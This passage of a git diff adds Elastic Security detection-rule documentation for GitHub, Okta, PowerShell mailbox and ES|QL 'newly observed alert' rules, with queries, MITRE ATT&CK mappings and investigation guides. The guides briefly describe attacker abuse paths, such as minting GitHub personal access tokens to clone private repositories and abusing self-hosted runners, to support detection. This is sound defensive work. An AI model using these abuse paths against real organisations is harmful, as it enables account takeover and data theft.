identify any unauthorized access or data exfiltration attempts. +- Reset the password for the compromised user account and enforce multi-factor authentication (MFA) to enhance security. +- Notify the security team and relevant stakeholders about the incident for further investigation and potential escalation. +- Implement additional monitoring on the affected account and similar accounts for any unusual activity or further attempts to add unauthorized devices. +- Review and update the organization's security policies and procedures related to mobile device access and PowerShell usage to prevent recurrence. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name: ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and process.args : "Set-CASMailbox*ActiveSyncAllowedDeviceIDs*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Email Delegate Permissions +** ID: T1098.002 +** Reference URL: https://attack.mitre.org/techniques/T1098/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-app-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-app-installed.asciidoc new file mode 100644 index 0000000000..fb57181279 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-app-installed.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-new-github-app-installed]] +=== New GitHub App Installed + +This rule detects when a new GitHub App has been installed in your organization account. GitHub Apps extend GitHub's functionality both within and outside of GitHub. When an app is installed it is granted permissions to read or modify your repository and organization data. Only trusted apps should be installed and any newly installed apps should be investigated to verify their legitimacy. Unauthorized app installation could lower your organization's security posture and leave you exposed for future attacks. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub App Installed* + + +GitHub Apps enhance functionality by integrating with repositories and organization data, requiring careful scrutiny upon installation. Adversaries may exploit these apps to gain unauthorized access or manipulate data. The detection rule monitors audit logs for new app installations, flagging potential threats by identifying unauthorized or suspicious integrations, thus safeguarding organizational security. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset "github.audit" and event.action "integration_installation.create" to identify the newly installed GitHub App. +- Verify the identity of the user or service account that performed the installation to ensure it aligns with expected behavior and authorized personnel. +- Check the permissions requested by the newly installed app to assess the level of access it has to your repositories and organization data. +- Cross-reference the app with a list of approved or trusted applications within your organization to determine if it is authorized. +- Investigate the app's developer or vendor to ensure they are reputable and have a history of secure and reliable applications. +- Communicate with the team or individual responsible for the installation to confirm the app's purpose and necessity within the organization. + + +*False positive analysis* + + +- Frequent installations of trusted internal apps may trigger alerts. To manage this, maintain a list of approved internal apps and create exceptions for these in the detection rule. +- Automated deployment tools that integrate with GitHub might cause false positives. Identify these tools and exclude their installation events from triggering alerts. +- Regular updates or re-installations of existing apps can be mistaken for new installations. Track app version updates separately and adjust the rule to differentiate between updates and new installations. +- Development or testing environments often install and remove apps frequently. Consider excluding these environments from the rule or setting up a separate monitoring process for them. + + +*Response and remediation* + + +- Immediately revoke the permissions of the newly installed GitHub App to prevent any unauthorized access or data manipulation. +- Notify the security team and relevant stakeholders about the unauthorized app installation for awareness and further investigation. +- Conduct a review of recent repository and organization changes to identify any unauthorized modifications or data access that may have occurred. +- If malicious activity is detected, initiate a rollback of affected repositories to a secure state prior to the app installation. +- Escalate the incident to higher-level security management if the app installation is linked to a broader security breach or if sensitive data has been compromised. +- Implement stricter access controls and approval processes for future GitHub App installations to prevent unauthorized installations. +- Update detection mechanisms to include additional indicators of compromise related to GitHub App installations, enhancing future threat detection capabilities. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and event.action == "integration_installation.create" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-owner-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-owner-added.asciidoc new file mode 100644 index 0000000000..c9a2ae4d23 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-owner-added.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-new-github-owner-added]] +=== New GitHub Owner Added + +Detects when a new member is added to a GitHub organization as an owner. This role provides admin level privileges. Any new owner roles should be investigated to determine it's validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Persistence +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub Owner Added* + + +GitHub organizations allow collaborative management of repositories, where the 'owner' role grants full administrative control. Adversaries may exploit this by adding unauthorized owners, gaining unrestricted access to sensitive data and settings. The detection rule monitors audit logs for new admin-level additions, flagging potential unauthorized access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the GitHub audit logs to identify the specific user account that was added as an owner, focusing on the event.action "org.add_member" and github.permission "admin". +- Verify the identity and role of the newly added owner by cross-referencing with internal HR or user management systems to confirm if the addition was authorized. +- Check the activity history of the newly added owner account for any suspicious actions or changes made to repositories or settings since their addition. +- Contact the individual or team responsible for managing GitHub organization permissions to confirm if they were aware of and approved the new owner addition. +- Investigate any recent changes in the organization's membership or access policies that might explain the addition of a new owner. +- Assess the potential impact of the new owner's access by reviewing the repositories and sensitive data they now have administrative control over. + + +*False positive analysis* + + +- Legitimate organizational changes: New owners may be added during legitimate restructuring or team expansions. Regularly review and document organizational changes to differentiate between authorized and unauthorized additions. +- Automated processes: Some organizations use automated scripts or tools to manage GitHub permissions, which might trigger this rule. Identify and whitelist these processes to prevent unnecessary alerts. +- Temporary access requirements: Occasionally, temporary owner access might be granted for specific projects or tasks. Implement a process to track and review these temporary changes, ensuring they are reverted once the task is completed. +- Onboarding of new senior staff: When new senior staff members join, they might be added as owners. Establish a clear onboarding process that includes notifying the security team to avoid false positives. +- Cross-functional team collaborations: In some cases, cross-functional teams may require owner-level access for collaboration. Maintain a list of such collaborations and review them periodically to ensure they remain necessary and authorized. + + +*Response and remediation* + + +- Immediately revoke the admin privileges of the newly added GitHub owner to prevent further unauthorized access. +- Conduct a thorough review of recent changes and activities performed by the unauthorized owner to identify any potential data breaches or malicious actions. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Reset credentials and enforce multi-factor authentication for all existing GitHub organization owners to enhance security. +- Review and update access control policies to ensure that owner roles are granted only to verified and necessary personnel. +- Implement additional monitoring and alerting for any future changes to GitHub organization roles to detect similar threats promptly. +- If evidence of compromise is found, consider engaging with a digital forensics team to assess the full impact and scope of the breach. + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "github.audit" and event.action == "org.add_member" and github.permission == "admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-personal-access-token-pat-added.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-personal-access-token-pat-added.asciidoc new file mode 100644 index 0000000000..51c97818c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-personal-access-token-pat-added.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-new-github-personal-access-token-pat-added]] +=== New GitHub Personal Access Token (PAT) Added + +Detects when a new GitHub Personal Access Token (PAT) is created. Adversaries may create new PATs to maintain persistent access to a compromised account or to escalate privileges within an organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: GitHub +* Domain: SaaS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating New GitHub Personal Access Token (PAT) Added* + + +This alert triggers when someone creates and authorizes a new GitHub personal access token, signaling a fresh long‑lived credential that outlasts sessions and enables broad API access. A common abuse path: after compromising a developer account, the adversary mints a PAT with repo and organization scopes and uses it from an external host to enumerate and clone private repositories via the API. + + +*Possible investigation steps* + + +- Retrieve token details (type fine‑grained vs classic, scopes, repository/org binding, and expiration) and verify they match the user’s role and least‑privilege expectations. +- Correlate the creation IP, geolocation, and user agent with the user’s recent login history and corporate network ranges to identify anomalous origin. +- Determine whether the token is SSO‑enforced and organization‑scoped; lack of SSO or broad classic scopes increases risk and warrants expedited review. +- Pivot to recent Git and API events by this actor since the token was created to see private repo enumeration/clones or org/admin actions indicating misuse. +- Check for concurrent account security changes (2FA status modifications, new SSH/GPG keys, email/password changes, or OAuth app grants) that suggest account takeover and escalate if present. + + +*False positive analysis* + + +- A developer performs planned token rotation or migrates from a classic to a fine‑grained PAT to comply with expiration and least‑privilege policies, generating a legitimate personal_access_token.access_granted creation event. +- Expected onboarding or maintenance activities create PATs for service or automation use with scoped repository access and set expiration, producing anticipated alerts from known corporate locations. + + +*Response and remediation* + + +- Revoke the specific PAT referenced in the alert via GitHub UI or API immediately, and temporarily lock the user account if the token’s origin, scopes, or target repositories are not expected. +- If any activity is observed with this PAT, rotate repository and organization secrets, remove newly added deploy keys and suspicious OAuth app grants, and strip unauthorized collaborator or team role changes. +- Force a password reset for the account owner, invalidate active sessions, require fresh 2FA re-enrollment, and delete any other nonessential PATs before restoring normal access. +- Review audit and repository logs for API calls authenticated with this PAT since its creation, block offending source IPs in network controls, and enable GitHub IP allow lists or SSO enforcement to restrict token use to trusted contexts. +- Escalate to incident response if the PAT has admin or organization owner scopes, was created from an unfamiliar location or device, or was used to clone private repositories or change security settings. +- Harden going forward by enforcing fine-grained, expiring, SSO-enforced PATs, disabling classic tokens at the organization, requiring approval for new PATs, and migrating automation to GitHub Apps with least-privilege permissions. + + +==== Rule query + + +[source, js] +---------------------------------- +configuration where data_stream.dataset == "github.audit" and github.operation_type == "create" and +github.category == "personal_access_token" and event.action == "personal_access_token.access_granted" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-self-hosted-action-runner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-self-hosted-action-runner.asciidoc new file mode 100644 index 0000000000..63732139f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-github-self-hosted-action-runner.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-new-github-self-hosted-action-runner]] +=== New GitHub Self Hosted Action Runner + +This rule detects the creation of a self-hosted Github runner from a first time seen user.name in the last 5 days. Adversaries may abuse self-hosted runners to execute workflow jobs on customer infrastructure. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Github +* Data Source: GitHub Audit Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: New Terms +* Platform: GitHub +* Domain: SaaS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating New GitHub Self Hosted Action Runner* + + +Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. + + +*Possible investigation steps* + + +- Validate the user is authoried to perform this change +- Review the purpose of the self-hosted action runner and what actions will be executed. +- Verify if there is any adjascent sensitive file access or collection. +- Correlate with other alerts and investiguate if this activity is related to a supply chain attack. + + +*False positive analysis* + + +- Authorized github self-hosted actions runner. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"github.audit" and + event.category:"configuration" and + event.action: ( + "repo.register_self_hosted_runner" or + "org.register_self_hosted_runner" or + "enterprise.register_self_hosted_runner" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-okta-identity-provider-idp-added-by-admin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-okta-identity-provider-idp-added-by-admin.asciidoc new file mode 100644 index 0000000000..953c0ccaf3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-new-okta-identity-provider-idp-added-by-admin.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-new-okta-identity-provider-idp-added-by-admin]] +=== New Okta Identity Provider (IdP) Added by Admin + +Detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://unit42.paloaltonetworks.com/muddled-libra/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Data Source: Okta +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating New Okta Identity Provider (IdP) Added by Admin* + + +This rule detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. + + +*Possible investigation steps:* + +- Identify the actor associated with the IdP creation by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Identify the IdP added by reviewing the `okta.target` field and determing if this IdP is authorized. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Examine the `okta.request.ip_chain` field to potentially determine if the actor used a proxy or VPN to perform this action. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if the action was part of a planned activity or performed by an authorized person. +- Several unsuccessful attempts prior to this success, may indicate an adversary attempting to add an unauthorized IdP multiple times. + + +*Response and remediation:* + +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- If the IdP is authorized, ensure that the actor who created it is authorized to do so. +- If the actor is unauthorized, deactivate their account via the Okta console. +- If the actor is authorized, ensure that the actor's account is not compromised. +- Reset the user's password and enforce MFA re-enrollment, if applicable. +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated IdP was crucial to the organization, consider adding a new IdP and removing the unauthorized IdP. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "okta.system" and event.action: "system.idp.lifecycle.create" and okta.outcome.result: "SUCCESS" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Hybrid Identity +** ID: T1556.007 +** Reference URL: https://attack.mitre.org/techniques/T1556/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-elastic-defend-behavior-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-elastic-defend-behavior-alert.asciidoc new file mode 100644 index 0000000000..dd2d750783 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-elastic-defend-behavior-alert.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-newly-observed-elastic-defend-behavior-alert]] +=== Newly Observed Elastic Defend Behavior Alert + +This rule detects Elastic Defend behavior alerts that are observed for the first time today when compared against the previous 5 days of alert history. It highlights low-volume, newly observed alerts tied to a specific detection rule, analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/behavior + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Newly Observed Elastic Defend Behavior Alert* + + +Elastic Defend behavior alerts indicate suspicious activity observed on an endpoint that may not yet be widespread or repeated. +This rule surfaces newly observed, low-frequency behavior alerts affecting a single agent within the current day, which can +represent early-stage malware execution, initial persistence attempts, or hands-on-keyboard activity. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the affected host and review the associated Elastic Defend rule name to understand the behavior that triggered the alert. +- Review the process details, including executable path, parent process, command line, and SHA-256 hash. +- Determine whether the process is expected on the host by validating its origin, signer, and execution context. +- Examine the alert timeline to confirm that all activity occurred within a short time window and assess whether behavior escalated. +- Correlate with additional endpoint telemetry such as: + - Process creation and termination + - File modifications + - Network connections + - Registry or persistence-related activity +- Check whether the process hash, command line, or related indicators are known malicious or associated with recent campaigns. +- Validate the user context under which the activity occurred and assess whether it aligns with normal behavior for that account. + + +*False Positive Considerations* + + +- Newly deployed or updated software may introduce behavior not previously observed on the host. +- Administrative scripts or automation tools can trigger behavior-based detections when first introduced. +- Security tooling, IT management agents, or EDR integrations may generate new behavior alerts during updates or configuration changes. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.alerts-* +| WHERE event.code == "behavior" and rule.name is not null +| STATS Esql.alerts_count = count(*), + Esql.first_time_seen = MIN(@timestamp), + Esql.last_time_seen = MAX(@timestamp), + Esql.agents_distinct_count = COUNT_DISTINCT(agent.id), + Esql.process_executable = VALUES(process.executable), + Esql.process_parent_executable = VALUES(process.parent.executable), + Esql.process_command_line = VALUES(process.command_line), + Esql.process_hash_sha256 = VALUES(process.hash.sha256), + Esql.host_id_values = VALUES(host.id), + Esql.user_name = VALUES(user.name) by rule.name +// first time seen in the last 5 days - defined in the rule schedule Additional look-back time +| eval Esql.recent = DATE_DIFF("minute", Esql.first_time_seen, now()) +// first time seen is within 10m of the rule execution time +| where Esql.recent <= 10 and Esql.agents_distinct_count == 1 and Esql.alerts_count <= 10 and (Esql.last_time_seen == Esql.first_time_seen) + +// Move single values to their corresponding ECS fields for alerts exclusion +| eval host.id = mv_min(Esql.host_id_values) + +| keep host.id, rule.name, Esql.* + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-fortigate-alert.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-fortigate-alert.asciidoc new file mode 100644 index 0000000000..31bfe2d20f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-fortigate-alert.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-34-newly-observed-fortigate-alert]] +=== Newly Observed FortiGate Alert + +This rule detects FortiGate alerts that are observed for the first time in the previous 5 days of alert history. Analysts can use this to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* 